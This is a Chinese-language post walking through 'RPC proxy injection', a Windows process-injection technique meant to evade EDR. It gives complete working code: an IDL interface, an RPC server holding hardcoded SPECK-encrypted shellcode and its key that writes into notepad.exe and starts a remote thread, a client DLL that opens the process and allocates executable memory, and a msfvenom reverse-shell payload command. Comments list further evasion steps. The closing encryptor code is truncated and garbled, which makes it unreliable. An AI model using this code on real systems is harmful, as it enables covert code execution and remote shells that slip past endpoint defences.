RPC 代理远程注入dll获得shell
RPC 接口是什么?
RPC(Remote Procedure Call,远程过程调用)接口,本质是:
一组被暴露出来、允许“远程调用”的函数定义 + 通信协议 + 序列化规则
是 Windows 操作系统中用于不同进程(甚至不同机器)之间进行通信的标准机制。许多系统服务(Service)和后台进程都作为“RPC 服务器”运行,等待其他程序(“RPC 客户端”)发送请求来执行特定的任务。
今天在推特上刷到文章RPC 代理注入。欢迎阅读这篇新的 Medium 文章。在… | 作者:S12 - 0x12Dark Development | 2026 年 1 月 | Medium --- RPC Proxy Injection. Welcome to this new Medium post. In… | by S12 - 0x12Dark Development | Jan, 2026 | Medium:使得攻击者利用RPC机制将恶意代码(如 Shellcode 、DLL)强制加载到另一个合法进程的内存中并运行,以隐藏自身行踪或获取更高权限。
技术原理
作者 s12deff 之前的研究脉络(关于利用 RPC 进行进程间通信、自定义 DLL 加载等文章),这项技术的工作原理大致如下:
寻找 RPC 接口: 攻击者首先会在目标进程(通常是高权限的系统服务)中寻找一个开放的 RPC 接口。Windows 系统中有成千上万个 RPC 接口。
利用 RPC 作为载体 (Proxy): 传统的注入通常需要打开目标进程句柄(OpenProcess),写入内存(WriteProcessMemory),然后创建线程(CreateRemoteThread)。这种行为很容易被 EDR(端点检测与响应系统)拦截。 RPC Proxy Injection 则不同,它表现为一个合法的 RPC 客户端向 RPC 服务器发送请求。这个请求中可能包含了恶意的 Payload,或者是触发漏洞的参数。
触发执行: 攻击者调用 RPC 接口中的某个特定函数。这个函数在目标进程内部执行时,会被诱导去执行攻击者指定的代码,或者加载攻击者指定的 DLL。
- 利用RPC 函数本身允许传递回调函数指针,或者通过利用 RPC 消息处理中的逻辑,将执行流重定向到恶意代码。因为代码执行是由合法的 RPC 服务进程发起的(代表客户端执行),所以看起来像是合法的业务操作。
复现流程
其核心思想是将敏感操作分散到两个不同的进程中,以打断 EDR(端点检测与响应系统)的攻击链检测:
- DLL (Client):负责“准备工作”(查找目标、分配内存)。它看起来像是一个正常的程序在申请资源,但它不写入任何恶意代码,也不执行。
- EXE (Server):负责“脏活”(解密 Shellcode、写入内存、创建线程)。由于它通过 RPC 接收指令,EDR 很难将 DLL 的分配行为与 EXE 的写入/执行行为关联起来。
1.创建message idl并编译
message.idl- [
- uuid(87654321-1234-5678-1234-567812345678),
- version(1.0),
- pointer_default(unique)
- ]
- interface MessageRPC
- {
- void GetSize(
- [in] handle_t IDL_handle,
- [out] hyper* size
- );
- void TriggerInjection(
- [in] handle_t IDL_handle,
- [in] int pid,
- [in] hyper hProcess,
- [in] hyper allocMem,
- [out, string] unsigned char** response
- );
- }
复制代码 message.acf- [
- implicit_handle(handle_t hBinding)
- ]
- interface MessageRPC
- {
- }
复制代码 打开Visual Studio Developer Command Prompt,- midl /env x64 /app_config message.idl
复制代码 得到
- message.h (头文件)
- message_c.c (客户端存根,给 DLL 用)
- message_s.c (服务器存根,给 EXE 用)
2.编译客户端和服务器
RpcServer.cpp- #define _CRT_SECURE_NO_WARNINGS
- #include <stdio.h>
- #include <windows.h>
- #include <stdlib.h>
- #include <time.h>
- #include <stdint.h>
- #include "message.h"
- #pragma comment(lib, "Rpcrt4.lib")
- // Add evasion
- // 1- Encrypted shellcode = DONE!
- // 2- Decode at runtime = DONE!
- // 3- Divide responsibility -> OpenProcess and VirtualAllocEx in the DLL. WriteProcessMemory and CreateRemoteThread in the RPC server = DONE!
- // 4- Change to CustomWriteProcessMemory
- // 5- Alternative to CreateRemoteThread
- // 6- Divide Shellcode responsibility -> DLL writes a part of shellcode + RPC server writes the rest
- unsigned char buf[] = "\x76\x18\xfc\x42\x85\x55\xa1\x16\x49\x58\x7b\xa4\x8b\xd9\x03\xb0\x5f\x92\xa2\x78\xb3\x6d\x17\x84\xe5\x30\xb2\xea\x72\xae\x5a\x1e\x21\x66\x2b\xfc\xfc\x0b\xf1\xb7\xbc\x59\x82\x6e\x54\xae\x9c\xdf\x06\xf8\xec\xff\x29\xfe\x2d\xb9\xe6\x2d\xed\x96\x98\xeb\xc6\x25\x82\x75\x01\xe5\xd1\x50\x51\x64\x2f\x43\x53\xa8\x8c\xe5\x4d\x59\x71\xab\x6d\x63\x60\xda\x96\xb0\x1b\x45\x9e\xb0\xb5\xf9\xc2\xaf\x3b\x1d\x1e\x6c\xd6\x6a\x85\xfc\xcb\xad\xaa\x16\x28\xf3\x29\x1b\x82\xd5\x53\xd1\x13\xc2\xdb\xf3\xeb\x97\x9d\x7d\x80\xea\x5a\x6e\x22\x14\xac\xa1\x13\xcd\xab\x23\x60\x4e\x6a\xa6\x8d\xff\xd7\x5b\x02\x71\xf9\x06\xaf\xb7\xed\xc3\xa1\x79\x71\xc0\x39\xcd\x96\xed\x00\x09\x4c\xb3\xcf\x30\x00\xe8\x23\x7e\x22\x26\x82\x62\xfd\xae\x59\x20\x70\xe0\x47\x8d\xfb\x7b\xc2\x9e\x65\xd0\x52\x83\xf4\x82\xa8\xec\xa4\xc2\x0d\x97\x4d\xa5\xa6\xb7\x0d\x94\x36\xab\xb4\x1c\xea\xf4\xdd\x75\x41\xcf\xb1\xab\x6d\x98\xe2\x06\xa2\x1f\x99\xf1\x20\x4e\x35\x29\x94\xd8\xd4\x7f\x50\xf3\x04\x1f\x49\x36\xa6\x96\x5f\xab\x4d\x54\x02\xc4\x2d\x4c\x93\xae\x63\x9d\x84\x85\x63\xcf\xb8\x99\xfb\xb4\x28\x53\x64\x09\x11\x11\xe5\x3a\x5c\xc2\x35\xb9\xe6\xab\x44\x20\x63\x35\x90\x41\x73\x6b\x3f\x10\xd0\xe7\xf3\x0e\x92\x5b\xbc\x79\xd3\x02\xc9\xea\x74\x68\xcc\xd3\xb6\x58\x72\xac\x88\x15\x9d\xfc\x7c\x4a\x0d\xe7\xbe\x0f\xba\x12\x17\x87\xf2\xea\x3b\x08\x9c\x0e\x2f\x71\xdd\x66\x37\x33\x64\xe4\x54\x9c\x43\x23\x7c\x98\x49\x47\x91\x44\xe1\xbc\x2a\x8f\xda\xaf\xa3\xea\xbc\x4e\xd0\x82\x3f\x71\xa6\xa5\x62\xc0\x07\xbb\x82\x80\xb9\xef\x81\x42\x48\x54\x6d\x5c\x63\xc0\x5d\x08\x32\x58\x8c\x6c\x8f\x8b\x58\xb6\x7b\xb6\x71\xa7\x6b\x9f\x69\x25\x73\xec\xda\xa8\x93\xeb\xa8\xfe\x82\xdc\x4e\x34\x46\x93\x64\x71\x2e\x0d\xe7\x48\x8e\x9c\xeb\x21\xfd\x99\x36\xfb\x1b\x7e\xae\xab\x5a\x3c\xde\x2c\xfa\x06\xd1\xa0\x4d\x05\xca\x8f\xe8\x4f\xe2\xf4\xcd\x6a\xd1\x0a\x68\xb8\xae\x2d\xee\x7f\x37\x3e\xe4\x29\xb7\x18\x5f\x94\x93\x1e\x40\x32\xb4\x16\x96\xe2\xa2\x6a\xaf\x50\x62\x10\xf4\x4e\xca\xa6\xbe\xe8\x60\x35";
- int bufLen = sizeof(buf) ;
- // ==================== GLOBAL STATE ====================
- unsigned char* g_DecryptBuffer = NULL;
- SIZE_T g_PaddedLen = 0;
- #define ROUNDS 45
- #define BLOCK_BYTES 16
- uint64_t roundKeys[ROUNDS];
- // ==================== CRC32 ====================
- uint32_t crc32Table[256];
- void generateCrc32Table() {
- for (uint32_t i = 0; i < 256; i++) {
- uint32_t c = i;
- for (int j = 0; j < 8; j++) {
- c = (c & 1) ? (0xEDB88320 ^ (c >> 1)) : (c >> 1);
- }
- crc32Table[i] = c;
- }
- }
- uint32_t crc32(const unsigned char* data, size_t length) {
- uint32_t crc = 0xFFFFFFFF;
- for (size_t i = 0; i < length; i++) {
- crc = crc32Table[(crc ^ data[i]) & 0xFF] ^ (crc >> 8);
- }
- return crc ^ 0xFFFFFFFF;
- }
- // ==================== SPECK ====================
- void parseHexKey(const char* keyStr, uint64_t key[2]) {
- char buffer[17] = { 0 };
- strncpy(buffer, keyStr, 16);
- key[0] = strtoull(buffer, NULL, 16);
- strncpy(buffer, keyStr + 16, 16);
- key[1] = strtoull(buffer, NULL, 16);
- }
- uint64_t rol(uint64_t x, int r) {
- return (x << r) | (x >> (64 - r));
- }
- uint64_t ror(uint64_t x, int r) {
- return (x >> r) | (x << (64 - r));
- }
- void speckKeySchedule(uint64_t key[2]) {
- roundKeys[0] = key[0];
- uint64_t b = key[1];
- for (int i = 0; i < ROUNDS - 1; i++) {
- b = (ror(b, 8) + roundKeys[i]) ^ i;
- roundKeys[i + 1] = rol(roundKeys[i], 3) ^ b;
- }
- }
- void speckEncrypt(uint64_t* x, uint64_t* y) {
- for (int i = 0; i < ROUNDS; i++) {
- *x = (ror(*x, 8) + *y) ^ roundKeys[i];
- *y = rol(*y, 3) ^ *x;
- }
- }
- void speckDecrypt(uint64_t* x, uint64_t* y) {
- for (int i = ROUNDS - 1; i >= 0; i--) {
- *y = ror(*y ^ *x, 3);
- *x = rol((*x ^ roundKeys[i]) - *y, 8);
- }
- }
- // ==================== RPC FUNCTIONS ====================
- void GetSize(handle_t IDL_handle, hyper* size)
- {
- printf("[SERVER] GetSize: Starting\n");
- if (size == NULL) {
- printf("[SERVER ERROR] GetSize: size is NULL\n");
- return;
- }
- const char* keyStr = "A9xK4R0E2Wc6B1D8P5N7ZL3GJQHfIeMy";
- uint64_t key[2];
- parseHexKey(keyStr, key);
- speckKeySchedule(key);
- uint64_t* iv = (uint64_t*)buf;
- int totalLen = sizeof(buf) - 1;
- int payloadLen = totalLen - BLOCK_BYTES;
- int paddedLen = (payloadLen + BLOCK_BYTES - 1) & ~(BLOCK_BYTES - 1);
- printf("[SERVER] GetSize: Calculated padded length = %d\n", paddedLen);
- if (g_DecryptBuffer) {
- printf("[SERVER] GetSize: Freeing previous buffer\n");
- free(g_DecryptBuffer);
- g_DecryptBuffer = NULL;
- }
- g_DecryptBuffer = (unsigned char*)malloc(paddedLen);
- if (!g_DecryptBuffer) {
- printf("[SERVER ERROR] GetSize: malloc failed\n");
- *size = 0;
- return;
- }
- printf("[SERVER] GetSize: Buffer allocated successfully\n");
- memcpy(g_DecryptBuffer, buf + BLOCK_BYTES, paddedLen);
- uint64_t prevDecrypt[2] = { iv[0], iv[1] };
- for (int i = 0; i < paddedLen; i += BLOCK_BYTES) {
- uint64_t* block = (uint64_t*)(g_DecryptBuffer + i);
- uint64_t temp[2] = { block[0], block[1] };
- speckDecrypt(&block[0], &block[1]);
- block[0] ^= prevDecrypt[0];
- block[1] ^= prevDecrypt[1];
- prevDecrypt[0] = temp[0];
- prevDecrypt[1] = temp[1];
- }
- g_PaddedLen = paddedLen;
- *size = (hyper)paddedLen;
- printf("[SERVER SUCCESS] GetSize: Returning size = %lld\n", *size);
- }
- void TriggerInjection(
- handle_t IDL_handle,
- int pid,
- hyper hProcess,
- hyper allocMem,
- unsigned char** response
- )
- {
- printf("[SERVER] TriggerInjection: Starting\n");
- printf("[SERVER] TriggerInjection: PID=%d hProcess=0x%llx allocMem=0x%llx\n",
- pid, hProcess, allocMem);
- if (!response) {
- printf("[SERVER ERROR] TriggerInjection: response is NULL\n");
- return;
- }
- if (!g_DecryptBuffer) {
- printf("[SERVER ERROR] TriggerInjection: Decryption buffer is NULL\n");
- const char* msg = "Decryption buffer not initialized";
- *response = (unsigned char*)midl_user_allocate(strlen(msg) + 1);
- strcpy((char*)*response, msg);
- return;
- }
- HANDLE processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
- if (!processHandle) {
- printf("[SERVER ERROR] TriggerInjection: OpenProcess failed (0x%08x)\n", GetLastError());
- const char* msg = "Failed to open target process";
- *response = (unsigned char*)midl_user_allocate(strlen(msg) + 1);
- strcpy((char*)*response, msg);
- return;
- }
- printf("[SERVER] TriggerInjection: Process opened successfully\n");
- LPVOID remoteMem = (LPVOID)(ULONG_PTR)allocMem;
- if (!remoteMem) {
- printf("[SERVER ERROR] TriggerInjection: allocMem is NULL\n");
- CloseHandle(processHandle);
- return;
- }
- SIZE_T written;
- if (!WriteProcessMemory(processHandle, remoteMem, g_DecryptBuffer, g_PaddedLen, &written)) {
- printf("[SERVER ERROR] TriggerInjection: WriteProcessMemory failed (0x%08x)\n", GetLastError());
- CloseHandle(processHandle);
- return;
- }
- printf("[SERVER SUCCESS] TriggerInjection: Wrote %zu bytes\n", written);
- HANDLE hThread = CreateRemoteThread(
- processHandle,
- NULL,
- 0,
- (LPTHREAD_START_ROUTINE)remoteMem,
- NULL,
- 0,
- NULL
- );
- if (!hThread) {
- printf("[SERVER ERROR] TriggerInjection: CreateRemoteThread failed (0x%08x)\n", GetLastError());
- CloseHandle(processHandle);
- return;
- }
- printf("[SERVER SUCCESS] TriggerInjection: Remote thread created\n");
- CloseHandle(hThread);
- CloseHandle(processHandle);
- free(g_DecryptBuffer);
- g_DecryptBuffer = NULL;
- const char* reply = "Injection succeeded";
- *response = (unsigned char*)midl_user_allocate(strlen(reply) + 1);
- strcpy((char*)*response, reply);
- printf("[SERVER SUCCESS] TriggerInjection: Completed successfully\n");
- }
- // ==================== RPC MEMORY ====================
- void* __RPC_USER midl_user_allocate(size_t len) {
- return malloc(len);
- }
- void __RPC_USER midl_user_free(void* ptr) {
- free(ptr);
- }
- // ==================== MAIN ====================
- // midl /env x64 /robust message.idl
- // Include message_s.c and message.h
- int main()
- {
- RPC_STATUS status;
- status = RpcServerUseProtseqEpA(
- (RPC_CSTR)"ncalrpc",
- RPC_C_PROTSEQ_MAX_REQS_DEFAULT,
- (RPC_CSTR)"MessageRPC",
- NULL
- );
- if (status) return status;
- status = RpcServerRegisterIf(
- MessageRPC_v1_0_s_ifspec,
- NULL,
- NULL
- );
- if (status) return status;
- printf("[SERVER] RPC Server running...\n");
- status = RpcServerListen(
- 1,
- RPC_C_LISTEN_MAX_CALLS_DEFAULT,
- FALSE
- );
- return status;
- }
复制代码 dllmain.cpp- // dllmain.cpp : RPC Client DLL that automatically connects to the local server
- #include <Windows.h>
- #include <stdio.h>
- #include <stdlib.h>
- #include <rpc.h>
- #include <string>
- #include <iostream>
- #include <tlhelp32.h>
- #include "message.h" // Generated by MIDL - includes the interface definitions
- #pragma comment(lib, "Rpcrt4.lib")
- using namespace std;
- int getPIDbyProcName(const string& procName) {
- OutputDebugStringW(L"[DEBUG] getPIDbyProcName: Starting process search");
- int pid = 0;
- HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
- if (hSnap == INVALID_HANDLE_VALUE) {
- OutputDebugStringW(L"[ERROR] getPIDbyProcName: CreateToolhelp32Snapshot failed");
- return 0;
- }
- OutputDebugStringW(L"[DEBUG] getPIDbyProcName: Snapshot created successfully");
- PROCESSENTRY32W pe32;
- pe32.dwSize = sizeof(PROCESSENTRY32W);
- if (Process32FirstW(hSnap, &pe32) != FALSE) {
- wstring wideProcName(procName.begin(), procName.end());
- wchar_t msg[512];
- swprintf_s(msg, L"[DEBUG] getPIDbyProcName: Searching for process: %s", wideProcName.c_str());
- OutputDebugStringW(msg);
- do {
- if (_wcsicmp(pe32.szExeFile, wideProcName.c_str()) == 0) {
- pid = pe32.th32ProcessID;
- swprintf_s(msg, L"[SUCCESS] getPIDbyProcName: Process found! PID=%d", pid);
- OutputDebugStringW(msg);
- break;
- }
- } while (Process32NextW(hSnap, &pe32) != FALSE);
- if (pid == 0) {
- OutputDebugStringW(L"[WARNING] getPIDbyProcName: Process not found");
- }
- }
- else {
- OutputDebugStringW(L"[ERROR] getPIDbyProcName: Process32FirstW failed");
- }
- CloseHandle(hSnap);
- return pid;
- }
- // -----------------------------------------------------
- // Memory management functions required by RPC
- // -----------------------------------------------------
- void* __RPC_USER midl_user_allocate(size_t size)
- {
- wchar_t msg[256];
- swprintf_s(msg, L"[DEBUG] midl_user_allocate: Allocating %zu bytes", size);
- OutputDebugStringW(msg);
- return malloc(size);
- }
- void __RPC_USER midl_user_free(void* ptr)
- {
- OutputDebugStringW(L"[DEBUG] midl_user_free: Freeing memory");
- free(ptr);
- }
- long long getPaddedLen() {
- OutputDebugStringW(L"[DEBUG] getPaddedLen: Starting");
- RPC_STATUS status;
- RPC_WSTR stringBinding = NULL;
- RPC_BINDING_HANDLE binding = NULL;
- // 1. Compose the binding string for local RPC (ncalrpc)
- OutputDebugStringW(L"[DEBUG] getPaddedLen: Composing binding string");
- status = RpcStringBindingComposeW(
- NULL,
- (RPC_WSTR)L"ncalrpc",
- NULL,
- (RPC_WSTR)L"MessageRPC",
- NULL,
- &stringBinding
- );
- if (status != RPC_S_OK)
- {
- wchar_t msg[256];
- swprintf_s(msg, L"[ERROR] getPaddedLen: RpcStringBindingCompose failed: 0x%08x", status);
- OutputDebugStringW(msg);
- return 0;
- }
- OutputDebugStringW(L"[SUCCESS] getPaddedLen: Binding string composed");
- // 2. Create the actual binding handle
- OutputDebugStringW(L"[DEBUG] getPaddedLen: Creating binding handle");
- status = RpcBindingFromStringBindingW(stringBinding, &binding);
- RpcStringFreeW(&stringBinding);
- if (status != RPC_S_OK)
- {
- wchar_t msg[256];
- swprintf_s(msg, L"[ERROR] getPaddedLen: RpcBindingFromStringBinding failed: 0x%08x", status);
- OutputDebugStringW(msg);
- return 0;
- }
- OutputDebugStringW(L"[SUCCESS] getPaddedLen: Binding handle created");
- RpcTryExcept
- {
- OutputDebugStringW(L"[DEBUG] getPaddedLen: Calling GetSize RPC");
- long long size = 0;
- GetSize(binding, &size);
- wchar_t msg[256];
- swprintf_s(msg, L"[SUCCESS] getPaddedLen: GetSize returned: %lld", size);
- OutputDebugStringW(msg);
- return size;
- }
- RpcExcept(EXCEPTION_EXECUTE_HANDLER)
- {
- wchar_t msg[256];
- swprintf_s(msg, L"[ERROR] getPaddedLen: RPC Exception: 0x%08x", RpcExceptionCode());
- OutputDebugStringW(msg);
- }
- RpcEndExcept
- OutputDebugStringW(L"[DEBUG] getPaddedLen: Finishing with error");
- return 0;
- }
- // -----------------------------------------------------
- // Helper function to make the RPC call
- // -----------------------------------------------------
- void CallRpcServer(int pid, HANDLE hProcess, LPVOID allocMem)
- {
- OutputDebugStringW(L"[DEBUG] CallRpcServer: Starting");
- wchar_t msg[256];
- swprintf_s(msg, L"[DEBUG] CallRpcServer: PID=%d, hProcess=0x%p, allocMem=0x%p", pid, hProcess, allocMem);
- OutputDebugStringW(msg);
- RPC_STATUS status;
- RPC_WSTR stringBinding = NULL;
- RPC_BINDING_HANDLE binding = NULL;
- OutputDebugStringW(L"[DEBUG] CallRpcServer: Composing binding string");
- status = RpcStringBindingComposeW(
- NULL,
- (RPC_WSTR)L"ncalrpc",
- NULL,
- (RPC_WSTR)L"MessageRPC",
- NULL,
- &stringBinding
- );
- if (status != RPC_S_OK)
- {
- swprintf_s(msg, L"[ERROR] CallRpcServer: RpcStringBindingCompose failed: 0x%08x", status);
- OutputDebugStringW(msg);
- return;
- }
- OutputDebugStringW(L"[SUCCESS] CallRpcServer: Binding string composed");
- OutputDebugStringW(L"[DEBUG] CallRpcServer: Creating binding handle");
- status = RpcBindingFromStringBindingW(stringBinding, &binding);
- RpcStringFreeW(&stringBinding);
- if (status != RPC_S_OK)
- {
- swprintf_s(msg, L"[ERROR] CallRpcServer: RpcBindingFromStringBinding failed: 0x%08x", status);
- OutputDebugStringW(msg);
- return;
- }
- OutputDebugStringW(L"[SUCCESS] CallRpcServer: Binding handle created");
- RpcTryExcept
- {
- OutputDebugStringW(L"[DEBUG] CallRpcServer: Calling TriggerInjection RPC");
- unsigned char* response = NULL;
- TriggerInjection(binding, pid, (hyper)hProcess, (hyper)allocMem, &response);
- OutputDebugStringW(L"[SUCCESS] CallRpcServer: TriggerInjection completed");
- if (response)
- {
- wchar_t dbg[512];
- swprintf_s(dbg, L"[SUCCESS] CallRpcServer: Server response: %S", response);
- OutputDebugStringW(dbg);
- midl_user_free(response);
- }
- else {
- OutputDebugStringW(L"[WARNING] CallRpcServer: NULL response from server");
- }
- }
- RpcExcept(EXCEPTION_EXECUTE_HANDLER)
- {
- swprintf_s(msg, L"[ERROR] CallRpcServer: RPC Exception: 0x%08x", RpcExceptionCode());
- OutputDebugStringW(msg);
- }
- RpcEndExcept
- OutputDebugStringW(L"[DEBUG] CallRpcServer: Finishing");
- }
- // -----------------------------------------------------
- // Entry point
- // -----------------------------------------------------
- BOOL APIENTRY DllMain(HMODULE hModule,
- DWORD ul_reason_for_call,
- LPVOID lpReserved)
- {
- switch (ul_reason_for_call)
- {
- int pid;
- HANDLE hProcess;
- SIZE_T size;
- LPVOID allocMem;
- long long paddedLenValue;
- case DLL_PROCESS_ATTACH:
- OutputDebugStringW(L"[INFO] ========================================");
- OutputDebugStringW(L"[INFO] DllMain: DLL_PROCESS_ATTACH started");
- OutputDebugStringW(L"[INFO] ========================================");
- OutputDebugStringW(L"[DEBUG] DllMain: Getting PID of notepad.exe");
- pid = getPIDbyProcName("notepad.exe");
- if (pid == 0) {
- OutputDebugStringW(L"[ERROR] DllMain: Failed to find notepad.exe");
- return FALSE;
- }
- wchar_t msg[256];
- swprintf_s(msg, L"[DEBUG] DllMain: Opening process PID=%d", pid);
- OutputDebugStringW(msg);
- hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
- if (hProcess == NULL)
- {
- DWORD err = GetLastError();
- swprintf_s(msg, L"[ERROR] DllMain: OpenProcess failed. Error: 0x%08x", err);
- OutputDebugStringW(msg);
- return FALSE;
- }
- swprintf_s(msg, L"[SUCCESS] DllMain: Process opened. Handle=0x%p", hProcess);
- OutputDebugStringW(msg);
- OutputDebugStringW(L"[DEBUG] DllMain: Getting padded size");
- paddedLenValue = getPaddedLen();
- if (paddedLenValue == 0) {
- OutputDebugStringW(L"[ERROR] DllMain: getPaddedLen returned 0");
- CloseHandle(hProcess);
- return FALSE;
- }
- size = (SIZE_T)paddedLenValue;
- swprintf_s(msg, L"[DEBUG] DllMain: Size to allocate: %zu bytes", size);
- OutputDebugStringW(msg);
- OutputDebugStringW(L"[DEBUG] DllMain: Allocating memory in remote process");
- allocMem = VirtualAllocEx(hProcess, NULL, size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
- if (allocMem == NULL) {
- DWORD err = GetLastError();
- swprintf_s(msg, L"[ERROR] DllMain: VirtualAllocEx failed. Error: 0x%08x", err);
- OutputDebugStringW(msg);
- CloseHandle(hProcess);
- return FALSE;
- }
- swprintf_s(msg, L"[SUCCESS] DllMain: Memory allocated at: 0x%p", allocMem);
- OutputDebugStringW(msg);
- OutputDebugStringW(L"[DEBUG] DllMain: Calling CallRpcServer");
- CallRpcServer(pid, hProcess, allocMem);
- OutputDebugStringW(L"[INFO] ========================================");
- OutputDebugStringW(L"[INFO] DllMain: DLL_PROCESS_ATTACH completed");
- OutputDebugStringW(L"[INFO] ========================================");
- break;
- case DLL_THREAD_ATTACH:
- OutputDebugStringW(L"[DEBUG] DllMain: DLL_THREAD_ATTACH");
- break;
- case DLL_THREAD_DETACH:
- OutputDebugStringW(L"[DEBUG] DllMain: DLL_THREAD_DETACH");
- break;
- case DLL_PROCESS_DETACH:
- OutputDebugStringW(L"[DEBUG] DllMain: DLL_PROCESS_DETACH");
- break;
- }
- return TRUE;
- }
复制代码 思路:DLL 被加载─> 找 notepad.exe─> OpenProcess─> RPC 调用 GetSize()─> Server 解密 shellcode,返回大小─> DLL VirtualAllocEx()─> RPC 调用 TriggerInjection()─> WriteProcessMemory、CreateRemoteThread
3.生成shellcode
MSF 生成一个 raw 格式的 shellcode- msfvenom -p windows/x64/shell_reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f raw -o payload.bin
复制代码 然后加密,硬编码进server
[code]#define _CRT_SECURE_NO_WARNINGS#include #include #include #include #include #include #include #include #include // ==================== 配置区域 ====================// 必须与 RpcServer.cpp 中的密钥保持一致const char* KEY_STR = "A9xK4R0E2Wc6B1D8P5N7ZL3GJQHfIeMy";#define ROUNDS 45#define BLOCK_BYTES 16// ==================== SPECK 核心算法 ====================uint64_t roundKeys[ROUNDS];void parseHexKey(const char* keyStr, uint64_t key[2]) { char buffer[17] = { 0 }; strncpy(buffer, keyStr, 16); key[0] = strtoull(buffer, NULL, 16); strncpy(buffer, keyStr + 16, 16); key[1] = strtoull(buffer, NULL, 16);}uint64_t rol(uint64_t x, int r) { return (x > (64 - r)); }uint64_t ror(uint64_t x, int r) { return (x >> r) | (x = 0; i--) { *y = ror(*y ^ *x, 3); *x = rol((*x ^ roundKeys) - *y, 8); }}// ==================== 辅助工具函数 ====================// 读取文件std::vector ReadFile(const std::string& filename) { std::ifstream file(filename, std::ios::binary); if (!file) return {}; return std::vector((std::istreambuf_iterator(file)), std::istreambuf_iterator());}// 写入文件void WriteFile(const std::string& filename, const std::vector& data) { std: fstream file(filename, std::ios::binary); file.write((const char*)data.data(), data.size());}// 生成随机 IV (16字节)void GenerateRandomIV(uint64_t iv[2]) { std::random_device rd; std::mt19937_64 gen(rd()); iv[0] = gen(); iv[1] = gen();}// PKCS7 Padding (补齐数据到 16 的倍数)std::vector PKCS7Pad(const std::vector& data) { std::vector padded = data; int paddingSize = BLOCK_BYTES - (data.size() % BLOCK_BYTES); for (int i = 0; i < paddingSize; i++) { padded.push_back((unsigned char)paddingSize); } return padded;}// PKCS7 Unpadding (移除补齐)std::vector PKCS7Unpad(const std::vector& data) { if (data.empty()) return {}; unsigned char paddingSize = data.back(); if (paddingSize > BLOCK_BYTES || paddingSize == 0) return data; // 格式不对,直接返回原数据 std::vector unpadded = data; unpadded.resize(data.size() - paddingSize); return unpadded;}// 输出为 C 语言数组格式void PrintAsCArray(const std::vector& data) { std::cout |